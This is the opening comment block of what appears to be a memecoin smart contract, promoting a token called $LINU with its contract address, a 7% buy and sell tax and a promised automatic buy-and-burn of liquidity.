/*

Welcome you Lunatics!

This protocol is the first of it's kind... Something for the community, by the community, and most of all.. For $LINU CA: 0x78132543d8e20d2417d8a07d9ae199d458a0d581
Our CA will automatically buy, and burn $LINU Liquidity. Making $LINA ultra deflationary, and more stable in the process.

We are donating our own ETH into liquid, then burning it. Contract will be renounced shortly after launch for a forever fixed tax os 7% buys, and 7% sells. Broken down, 2% Auto-LP, and 5% To Buying and Burning of $LINU
